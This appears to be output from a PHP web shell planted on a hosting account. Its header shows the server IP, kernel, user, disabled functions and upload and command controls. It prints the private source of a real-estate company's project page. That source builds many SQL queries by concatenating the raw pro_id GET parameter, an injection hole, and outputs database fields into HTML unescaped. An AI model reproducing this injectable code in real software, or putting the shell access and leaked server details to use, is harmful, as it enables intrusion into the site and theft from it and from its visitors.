|
Server IP : 145.79.210.100 / Your IP : 216.73.216.101 Web Server : LiteSpeed System : Linux in-mum-web1954.main-hosting.eu 5.14.0-570.26.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 16 09:12:04 EDT 2025 x86_64 User : u474798400 ( 474798400) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u474798400/domains/excentia.in/public_html/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php include('admin/config.php');
$sql=mysqli_query($conn,"select * from tbl_projects where md5(id)='".$_GET['pro_id']."'");
$res=mysqli_fetch_object($sql);
$sq1l=mysqli_query($conn,"select * from tbl_project_details_intro_content where md5(pro_id)='".$_GET['pro_id']."'");
$res1=mysqli_fetch_object($sq1l);
$sq12=mysqli_query($conn,"select * from tbl_amenities where md5(pro_id)='".$_GET['pro_id']."'");
//echo "select * from tbl_amenities where md5(pro_id)='".$_GET['pro_id']."'";
$sql3=mysqli_query($conn,"select * from tbl_gallery where md5(pro_id)='".$_GET['pro_id']."'");
$sql4=mysqli_query($conn,"select * from tbl_project_walkthrough where md5(pro_id)='".$_GET['pro_id']."'");
$row2=mysqli_fetch_object($sql4);
$sql5=mysqli_query($conn,"select * from tbl_construction_image where md5(pro_id)='".$_GET['pro_id']."'");
$sql6=mysqli_query($conn,"select * from tbl_floor_plan where md5(pro_id)='".$_GET['pro_id']."'");
$sql7=mysqli_query($conn,"select * from tbl_master_plan where md5(pro_id)='".$_GET['pro_id']."'");
$sql8=mysqli_query($conn,"select * from tbl_project_contact_details where md5(pro_id)='".$_GET['pro_id']."'");
$res2=mysqli_fetch_object($sql8);
$sql9=mysqli_query($conn,"select * from tbl_project_specification where md5(pro_id)='".$_GET['pro_id']."'");
$sql10=mysqli_query($conn,"select * from tbl_project_specification where md5(pro_id)='".$_GET['pro_id']."' order by id desc limit 50 offset 3");
$flag = 0;
if(md5(2) == $_GET['pro_id']) {
$pdf = 'tatva.pdf';
$flag = 1;
}
else if(md5(1) == $_GET['pro_id']){
$pdf = 'capitol-avenue-brochure-3.pdf';
$flag = 1;
}
// else if(md5(7) == $_GET['pro_id']){
// $pdf = 'element-bazaar-kota.pdf';
// $flag = 1;
// }
else if(md5(8) == $_GET['pro_id']){
$pdf = 'infinity-greens.pdf';
$flag = 1;
}
else{
$flag = 0;
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<!-----fav-icon css link-->
<link rel="icon" type="images/x-icon" href="./images/excentia-logo.png">
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-EVSTQN3/azprG1Anm3QDgpJLIm9Nao0Yz1ztcQTwFspd3yD65VohhpuuCOmLASjC" crossorigin="anonymous">
<!----font awesome cdn-------->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css" integrity="sha512-SnH5WK+bZxgPHs44uWIX+LLJAJ9/2PkPKZ5QiAj6Ta86w+fsb2TkcmfRyVX3pBnMFcV7oQPJkl9QevSCWr3W6A==" crossorigin="anonymous" referrerpolicy="no-referrer" />
<!-----Custom css-->
<link rel="stylesheet" href="./sass/style.css">
<!-----owl carousel css link-->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/OwlCarousel2/2.1.3/assets/owl.carousel.min.css">
<link href="https://unpkg.com/aos@2.3.1/dist/aos.css" rel="stylesheet">
<!------fancyboc css link cdn-->
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fancyapps/ui@5.0/dist/fancybox/fancybox.css">
<title>Projects</title>
<style>
/*Directly lined with js*/
.myAnimation {
animation: anim 1s linear;
}
@keyframes anim {
0% {
opacity: 0;
}
100% {
opacity: 1;
}
}
.active_btn {
text-decoration: underline;
color: #b87c2f !important;
}
#menu2,#menu3,#menu3,#menu4,#menu5{
display: none;
}
#nav-wrap{
opacity: 1;
animation: none;
}
.owl-prev{
position: absolute;
left: -6%;
bottom: 40%;
}
.owl-prev span{
color: #ffffff;
font-size: 50px;
}
.owl-next{
position: absolute;
right: -6%;
bottom: 40%;
}
.owl-next span{
color: #ffffff;
font-size: 50px;
}
#nav-wrap{
opacity: 1;
animation: none;
}
@media(max-width:750px){
.owl-next span {
color: #ffffff;
font-size: 25px;
}
.owl-prev span {
color: #ffffff;
font-size: 25px;
}
}
#first{
display: block;
}
.logo #second{
display: none;
width: 36%;
}
.brochure-bt{
position: fixed;
top: 30%;
right: -71px;
rotate: 90deg;
background: #14245d;
padding: 8px 15px;
font-size: 18px;
color: #fff;
transition: 0.5s;
}
.brochure-bt:hover{
background: #dbbd96;
color: #181510;
}
</style>
</head>
<body>
<?php include('menu.php');?>
<?php
if($flag == 1){ ?>
<a download href="pdf/<?echo $pdf;?>" class="brochure-bt">Download Brochure</a>
<?php
}
?>
<section class="second">
<?php if($res->logo_image!=''){?>
<span class="pro-logo"><img src="admin/upload_image/<?=$res->logo_image;?>"></span>
<?php } ?>
<h3 class="caption" data-aos="fade-up"><?=$res->name;?><span class="underline"></span>
</h3>
<!--<span data-aos="fade-up">A landmark </span>-->
<!--<h1 data-aos="fade-up">living</h1>-->
<?=$res1->title;?>
<div class="parent">
<div class="left_part">
<!-- <h1 data-aos="fade-up">iaculis </h1> -->
<div class="logo_part" data-aos="fade-up">
<img src="admin/upload_image/<?=$res1->image;?>" alt="">
</div>
</div>
<div class="right_part" id="right-part">
<p data-aos="fade-up">
<!--A Unique blend of absolute peace and pleasurable living. Apart from the unique open design, the spectacular architecture ensures refreshing breeze and ample natural light throughout for each apartment, Where a special passage with a small potted garden and a beautiful landscape is provided at the entrance.It is nothing short of a Heavenly experience indeed.Comfort along with Nature's Beauty-->
<?=$res1->content;?>
</p>
<div class="icon_container">
<?php while($row=mysqli_fetch_array($sq12)){?>
<div class="part" data-aos="fade-left">
<div class="icon">
<img src="admin/upload_image/<?=$row['image'];?>" alt="">
</div>
<div class="caption"><?=$row['name'];?></div>
</div>
<?php } ?>
<!--<div class="part" data-aos="fade-right">-->
<!-- <div class="icon" data-aos="fade-up">-->
<!-- <img src="./images/icon_2.png" alt="">-->
<!-- </div>-->
<!-- <div class="caption">24x7<br>Security</div>-->
<!--</div>-->
<!--<div class="part" data-aos="fade-left">-->
<!-- <div class="icon">-->
<!-- <img src="./images/icon_3.png" alt="">-->
<!-- </div>-->
<!-- <div class="caption">Firefighting<br>System</div>-->
<!--</div>-->
<!--<div class="part" data-aos="fade-right">-->
<!-- <div class="icon">-->
<!-- <img src="./images/icon_4.png" alt="">-->
<!-- </div>-->
<!-- <div class="caption">Swimming<br>Pool</div>-->
<!--</div>-->
<!--<div class="part" data-aos="fade-left">-->
<!-- <div class="icon">-->
<!-- <img src="./images/icon_5.png" alt="">-->
<!-- </div>-->
<!-- <div class="caption">Children<br>Play Area</div>-->
<!--</div>-->
<!--<div class="part" data-aos="fade-right">-->
<!-- <div class="icon">-->
<!-- <img src="./images/icon_6.png" alt="">-->
<!-- </div>-->
<!-- <div class="caption">Community<br>Hall</div>-->
<!--</div>-->
</div>
</div>
</div>
</section>
<section class="project-container">
<ul class="menu-item" data-aos="fade-up" data-aos-duration="3000">
<li id='menu-1' onclick="showImages('menu1'),activateButton(1),addActive(1)">Gallery</li>
<li id='menu-2' onclick="showImages('menu2'),activateButton(2),addActive(2)" >Walkthrough</li>
<?php if(md5(1) == $_GET['pro_id'] || md5(3) == $_GET['pro_id'] || $res->status==3) { ?>
<?php }else{ ?>
<li id='menu-3' onclick="showImages('menu3'),activateButton(3),addActive(3)">Construction Updates</li>
<?php } ?>
<li id='menu-4' onclick="showImages('menu4'),activateButton(4),addActive(4)">Floor Plan</li>
<?php if(md5(5) == $_GET['pro_id'] || md5(7) == $_GET['pro_id']){ ?>
<?php }else{ ?>
<li id='menu-5' onclick="showImages('menu5'),activateButton(5),addActive(5)">Master Plan</li>
<?php } ?>
</ul>
<div class="third-sec" data-aos="fade-up" data-aos-duration="3000">
<div class="mid-image owl-carousel img-container" id="menu1">
<?php while($row1=mysqli_fetch_array($sql3)){?>
<div class="img" class="item">
<img src="admin/upload_image/<?=$row1['image'];?>" alt="" data-fancybox="gallery" data-caption="<?=$row1['name'];?>">
</div>
<?php } ?>
<!--<div class="img" class="item">-->
<!-- <img src="./images/gal-2.jpg" alt="" data-fancybox="gallery" data-caption="image">-->
<!--</div>-->
<!--<div class="img" class="item">-->
<!-- <img src="./images/gal-3.jpg" alt="" data-fancybox="gallery" data-caption="image">-->
<!--</div>-->
<!--<div class="img" class="item">-->
<!-- <img src="./images/gal-4.jpg" alt="" data-fancybox="gallery" data-caption="image">-->
<!--</div>-->
</div>
<div class="mid-image img-container" id="menu2" style="display: block !important;">
<iframe width="100%" height="600" src="<?=$row2->url;?>" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen style=" grid-column-start: 1;
grid-column-end: five;
grid-row-start: row1-start;
grid-row-end: 5;"></iframe>
</div>
<div class="mid-image owl-carousel img-container" id="menu3">
<?php while($row3=mysqli_fetch_array($sql5)){?>
<div class="img">
<img src="admin/upload_image/<?=$row3['image'];?>" alt="" data-fancybox="gallery" data-caption="<?=$row3['name'];?>">
</div>
<?php } ?>
<!--<div class="img"> -->
<!-- <img src="./images/con-2.jpg" alt="" data-fancybox="gallery" data-caption="image">-->
<!--</div>-->
<!--<div class="img">-->
<!-- <img src="./images/con-3.jpg" alt="" data-fancybox="gallery" data-caption="image">-->
<!--</div>-->
<!--<div class="img" class="item">-->
<!-- <img src="./images/con-4.jpg" alt="" data-fancybox="gallery" data-caption="image">-->
<!--</div>-->
<!--<div class="img" class="item">-->
<!-- <img src="./images/con-5.jpg" alt="" data-fancybox="gallery" data-caption="image">-->
<!--</div>-->
<!--<div class="img" class="item">-->
<!-- <img src="./images/con-6.jpg" alt="" data-fancybox="gallery" data-caption="image">-->
<!--</div>-->
<!--<div class="img" class="item">-->
<!-- <img src="./images/con-7.jpg" alt="" data-fancybox="gallery" data-caption="image">-->
<!--</div>-->
</div>
<div class="mid-image img-container" id="menu4">
<?php while($row4=mysqli_fetch_array($sql6)){?>
<div class="img" class="item">
<img src="admin/upload_image/<?=$row4['image'];?>" alt="" data-fancybox="gallery" data-caption="<?=$row4['name'];?>">
</div>
<?php } ?>
<!--<div class="img" class="item">-->
<!-- <img src="./images/fol-2.jpg" alt="" data-fancybox="gallery" data-caption="plan-2">-->
<!--</div>-->
<!--<div class="img" class="item">-->
<!-- <img src="./images/fol-3.jpg" alt="" data-fancybox="gallery" data-caption="plan-3">-->
<!--</div>-->
<!--<div class="img" class="item">-->
<!-- <img src="./images/fol-4.jpg" alt="" data-fancybox="gallery" data-caption="plan-4">-->
<!--</div>-->
<!--<div class="img" class="item">-->
<!-- <img src="./images/fol--5.jpg" alt="" data-fancybox="gallery" data-caption="plan-5">-->
<!--</div>-->
</div>
<div class="mid-image img-container" id="menu5">
<?php while($row5=mysqli_fetch_array($sql7)){?>
<div class="img" class="item">
<img src="admin/upload_image/<?=$row5['image'];?>" alt="" data-fancybox="gallery" data-caption="<?=$row5['name'];?>">
</div>
<?php } ?>
<!--<div class="img" class="item">-->
<!-- <img src="./images/proj_inner_1.png" alt="" data-fancybox="gallery" data-caption="image">-->
<!--</div>-->
<!--<div class="img" class="item">-->
<!-- <img src="./images/proj_inner_2.png" alt="" data-fancybox="gallery" data-caption="image">-->
<!--</div>-->
<!--<div class="img" class="item">-->
<!-- <img src="./images/proj_inner_1.png" alt="" data-fancybox="gallery" data-caption="image">-->
<!--</div>-->
</div>
</div>
</section>
<section class="onscroll-logo">
<div class="logo-container">
<div class="firstpart">
<img src="./images/1.png" alt="">
</div>
<div class="secondpart">
<img src="./images/2.png" alt="">
</div>
<div class="thirdpart">
<img src="./images/3.png" alt="">
</div>
<div class="fourthpart">
<img src="./images/4.png" alt="">
</div>
<div class="fifthpart">
<img src="./images/5.png" alt="">
</div>
</div>
</section>
<section class="fifth-sec">
<div class="left-container">
<!--<h3 data-aos="fade-up">spaces that </h3>-->
<!--<h1 data-aos="fade-up" >speak to </h1>-->
<?=$res2->title;?>
<div class="main_parent">
<div class="left_part">
<h1></h1>
<div class="bottom_img">
<img src="admin/upload_image/<?=$res2->image;?>" alt="">
</div>
</div>
<div class="right_part">
<p ><?=$res2->intro_text;?></p>
<p>
<img src="./images/location.png" alt=""> <?=$res2->address1;?>
</p>
<p>
<img src="./images/building.png" alt=""> <?=$res2->address2;?>
</p>
<p>
<img src="./images/lock.png" alt=""> <?=$res2->delivered_text;?>
</p>
<p>
<img src="./images/edit.png" alt=""> <?=$res2->rera_no;?>
</p>
</div>
</div>
</div>
</section>
<?php if(md5(7) != $_GET['pro_id']){?>
<section class="desc-section">
<ul>
<li>SPECIFICATION</li>
<!-- <li>PRICE</li> -->
</ul>
<div class="desc-container">
<div class="left">
<?php
$i=0;
while($row6=mysqli_fetch_array($sql9)){?>
<div class="item">
<p class="filter-option-heading" onclick="showDesc(<?=$i;?>)" >
<?=$row6['title'];?>
<span>+</span>
</p>
<div class="filter-option-content" id="step1">
<?=$row6['description'];?>
</div>
</div>
<?php
$i++;
} ?>
<!-- <div class="item">-->
<!-- <p class="filter-option-heading" onclick="showDesc(1)" data-aos="fade-up">-->
<!-- Suspendisse ut ipsum eu nisi cursus luctus.-->
<!-- <span>+</span>-->
<!-- </p>-->
<!-- <div class="filter-option-content" id="step1">-->
<!-- Lorem ipsum dolor sit amet consectetur adipisicing elit. Quasi omnis explicabo consectetur accusantium et dolores.-->
<!-- Lorem ipsum, dolor sit amet consectetur adipisicing elit. Magni, placeat! Facere repellat deserunt vitae molestias qui necessitatibus culpa neque quaerat.-->
<!-- </div>-->
<!--</div>-->
<!-- <div class="item">-->
<!-- <p class="filter-option-heading" onclick="showDesc(2)" data-aos="fade-up">-->
<!-- Aenean vel sapien interdum, iaculis ipsum et, scelerisque risus.-->
<!-- <span>+</span>-->
<!-- </p>-->
<!-- <div class="filter-option-content" id="step1">-->
<!-- Lorem ipsum dolor sit amet consectetur adipisicing elit. Quasi omnis explicabo consectetur accusantium et dolores.-->
<!-- Lorem ipsum dolor sit amet consectetur adipisicing elit. Quas, laboriosam adipisci. Delectus, commodi. Perspiciatis ratione quidem deserunt! Ipsam nesciunt, veritatis illo saepe maiores repellendus, aliquam, laudantium ipsa voluptate possimus minima?-->
<!-- </div>-->
<!-- </div>-->
</div>
<div class="right">
<?php //while($row7=mysqli_fetch_array($sql10)){?>
<!-- <div class="item">-->
<!-- <p class="filter-option-heading" onclick="showDesc(4)">-->
<!-- <?=$row7['title'];?>-->
<!-- <span>+</span>-->
<!-- </p>-->
<!-- <div class="filter-option-content" id="step1">-->
<!-- <?=$row7['description'];?>-->
<!-- </div>-->
<!--</div>-->
<?php //} ?>
<!-- <div class="item">-->
<!-- <p class="filter-option-heading" onclick="showDesc(4)" data-aos="fade-up">-->
<!-- Aenean accumsan massa non tellus ornare, at tempus massa pellentesque.-->
<!-- <span>+</span>-->
<!-- </p>-->
<!-- <div class="filter-option-content" id="step1">-->
<!-- Lorem ipsum dolor sit amet consectetur adipisicing elit. Quasi omnis explicabo consectetur accusantium et dolores.-->
<!-- Lorem ipsum dolor sit, amet consectetur adipisicing elit. Omnis tempore ipsam eligendi dolore explicabo officiis, optio rem autem sed possimus.-->
<!-- </div>-->
<!--</div>-->
<!-- <div class="item">-->
<!-- <p class="filter-option-heading" onclick="showDesc(5)" data-aos="fade-up">-->
<!-- Nam tincidunt quam ut justo interdum pretium.-->
<!-- <span>+</span>-->
<!-- </p>-->
<!-- <div class="filter-option-content" id="step1">-->
<!-- Lorem ipsum dolor sit amet consectetur adipisicing elit. Quasi omnis explicabo consectetur accusantium et dolores.-->
<!-- Lorem ipsum dolor sit amet consectetur adipisicing elit. Itaque assumenda dicta cupiditate voluptatum repudiandae, odio pariatur!-->
<!-- </div>-->
<!-- </div>-->
</div>
</div>
</section>
<?php } ?>
<section class="last-section">
<div class="blue-option-container">
<div class="heading">
<div class="head">
<span id="caption">feel free to</span>
</div>
<h1 class="reveal">Reach Us</h1>
</div>
<form id="form">
<div class="inputBoxes" >
<input type="text" name="name" id="name" placeholder="Name"/>
<input type="email" name="email" id="email" placeholder="Email"/>
<input type="phone" name="phone_no" id="phone_no" placeholder="Phone No." onkeypress="check(event)" maxlength=10/>
<select name="projects" id="projects">
<?php $sql11=mysqli_query($conn,"select * from tbl_projects");
while($row9=mysqli_fetch_array($sql11)){
?>
<option value="<?=$row9['id'];?>" <?php if(md5($row9['id'])==$_GET['pro_id']){ echo 'selected';} ?>><?=$row9['name'];?></option>
<?php } ?>
<!--<option value="1">Project-2</option>-->
<!--<option value="2">Project-3</option>-->
<!--<option value="3">Project-4</option>-->
</select>
</div>
<br><br>
<div id="error" ></div>
<div data-aos="fade-up" class="submit_btn">
<div class="submit-btn" data-aos="fade-up">
<button type = "submit">Submit Now
<span class="spinner-border text-light" style="display:none;">
</span>
</button>
</div>
</form>
</div>
</section>
<?php include('footer.php');?>
<!-------custom js-->
<script src="./js/commonMenu.js"></script>
<!-----bootstrap5 script link----->
<script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.9.2/dist/umd/popper.min.js" integrity="sha384-IQsoLXl5PILFhosVNubq5LC7Qb9DXgDA9i+tQ8Zj3iwWAwPtgFTxbJ8NT4GN1R8p" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/js/bootstrap.min.js" integrity="sha384-cVKIPhGWiC2Al4u+LWgxfKTRIcfu0JTxR+EQDz/bgldoEyl4H0zUF0QKbrJ0EcQF" crossorigin="anonymous"></script>
<!------owl carousel script link-->
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/2.2.2/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/OwlCarousel2/2.1.3/owl.carousel.min.js"></script>
<script>
function check(event){
let code = (event.which) ? event.which : event.keyCode;
if(code < 48 || code > 57){
event.preventDefault();
}
}
$("#form").on("submit", function(event){
event.preventDefault();
let name = $("#name").val().trim();
let email = $("#email").val().trim();
let phone_no = $("#phone_no").val().trim();
if(name == ""){
$("#error").show().html('<p style="color:red">Please enter name</p>').delay(3000).fadeOut();
return false;
}
else if(email == ""){
$("#error").show().html('<p style="color:red">Please enter email id</p>').delay(3000).fadeOut();
return false;
}
else if(phone_no == ""){
$("#error").show().html('<p style="color:red">Please enter Phone no</p>').delay(3000).fadeOut();
return false;
}
else{
$(".spinner-border").show();
let formData = new FormData(this);
$.ajax({
method: 'post',
url: 'ajax_project_contact.php',
data: formData,
contentType: false,
processData: false,
success: function(data){
$(".spinner-border").hide();
if(data == 1){
$("#error").show().html('<p style="color:green">Form Submitted Successfully. We will get back to you soon.</p>').delay(10000).fadeOut();
$("#form")[0].reset();
}else{
$("#error").show().html('<p style="color:red">Something wrong. Try again later.</p>').delay(10000).fadeOut();
}
}
})
}
})
</script>
<script>
$('.owl-carousel').owlCarousel({
loop: true,
nav: true,
smartSpeed: 1000,
margin:25,
loop:true,
navText: [
"<span>⟵</span>",
"<span>⟶</span>"
],
autoplay: false,
responsive: {
0: {
items: 1
},
600: {
items: 1
},
1000: {
items: 2
}
}
});
</script>
<!-------gsap scroll-trigger js link-->
<script src="https://unpkg.co/gsap@3/dist/gsap.min.js"></script>
<script src="https://unpkg.com/gsap@3/dist/ScrollTrigger.min.js"></script>
<script>
var menu_1=document.querySelector("#menu1");
var menu_2=document.querySelector("#menu2");
var menu_3=document.querySelector("#menu3");
// var menu_4=document.querySelector("#menu4");
window.onload=function(){
menu_2.style.display="none";
menu_3.style.display="none";
// menu_4.style.display="none";
}
function showImages(menuId) {
// Hide all image containers
var containers = document.querySelectorAll('.img-container');
containers.forEach(function(container) {
container.style.display = 'none';
});
// Show the selected image container
var selectedContainer = document.getElementById(menuId);
if (selectedContainer) {
selectedContainer.style.display = 'grid';
selectedContainer.classList.add("myAnimation");
}
}
/*____to active particular button____*/ /* SURAJIT Bera's code*/
var menu=document.querySelectorAll(".project-container ul li");
menu[0].classList.add("active_btn");
function activateButton(btnNum) {
console.log(btnNum)
console.log(menu.length)
for(var i=0; i<menu.length; i++){
if((i+1)==btnNum){
//menu[i].classList.add("active_btn");
}else{
menu[i].classList.remove("active_btn");
}
}
}
//add by sk
function addActive(no){
$("#menu-"+no).addClass("active_btn");
}
</script>
<script>
$(".filter-option-heading").click(function () {
$(this)
.toggleClass("activeFilter")
.next(".filter-option-content")
.stop()
.slideToggle(500);
});
</script>
<!-----this script is for plus or minus setting when click on the line---->
<script>
var span=document.querySelectorAll(".filter-option-heading span");
function showDesc(val){
console.log(val);
// var flag=true;
var f=0;
for(var i=0; i<span.length; i++){
if(i==val){
if(f==0){
if(span[i].innerHTML==='-'){
span[i].innerHTML='+';
}else{
span[i].innerHTML='-';
}
}
}
}
}
</script>
<!-------gsap scroll-trigger js link-->
<script src="https://unpkg.co/gsap@3/dist/gsap.min.js"></script>
<script src="https://unpkg.com/gsap@3/dist/ScrollTrigger.min.js"></script>
<script>
gsap.registerPlugin(ScrollTrigger);
gsap.fromTo(
'.firstpart',
{ xPercent: -500 }, // It Starts on the rights
{
xPercent: 700, // It Moves to the left
ease: 'power1.inOut',
scrollTrigger: {
//pin: 'header',
//trigger: '.fourth_part',
start: 'top center',
end: 'bottom top',
scrub: true,
},
}
)
gsap.fromTo(
'.secondpart',
{ xPercent:-350 }, //It Starts on the rights
{
xPercent: 460, //It Moves to the left
ease: 'power1.inOut',
scrollTrigger: {
//pin: 'header',
//trigger: '.fourth_part',
start: 'top center',
end: 'bottom top',
scrub: true,
},
}
)
gsap.fromTo(
'.fourthpart',
{ xPercent: 350 }, //Starts on the rights
{
xPercent:-460, // Moves to the left
ease: 'power1.inOut',
scrollTrigger: {
start: 'top center',
end: 'bottom top',
scrub: true,
},
}
)
gsap.fromTo(
'.fifthpart',
{ xPercent:500 }, // it Starts on the rights...
{
xPercent: -700, // it Moves to the left...
ease: 'power1.inOut',
scrollTrigger: {
start: 'top center',
end: 'bottom top',
scrub: true,
},
}
)
</script>
<script src="https://unpkg.com/aos@2.3.1/dist/aos.js"></script>
<script>
AOS.init({
duration:1500,
offset:-400
});
</script>
<script>
window.onscroll = function() {myFunction()};
logo_1= document.querySelector("#first");
logo_2=document.querySelector("#second")
function myFunction() {
if (document.documentElement.scrollTop > 50) {
logo_1.style.display="none";
logo_2.style.display="block";
document.querySelector(".nav_wrap").style.backgroundColor="rgba(255,255,255,1)";
} else {
logo_1.style.display="block";
logo_2.style.display="none";
document.querySelector(".nav_wrap").style.backgroundColor="transparent"
}
}
</script>
<!----fancy box script link-->
<script src="https://cdn.jsdelivr.net/npm/@fancyapps/ui@5.0/dist/fancybox/fancybox.umd.js"></script>
<!-----fancybox script----->
<script>
Fancybox.bind("[data-fancybox]", {
Carousel: {
infinite: false,
},
Slideshow: {
playOnStart: false,
timeout: 3000,
},
Toolbar: {
display: {
left: [],
middle: [],
right: ["slideshow", "close"],
},
},
Images: {
zoom: true,
},
});
</script>
</body>
</html>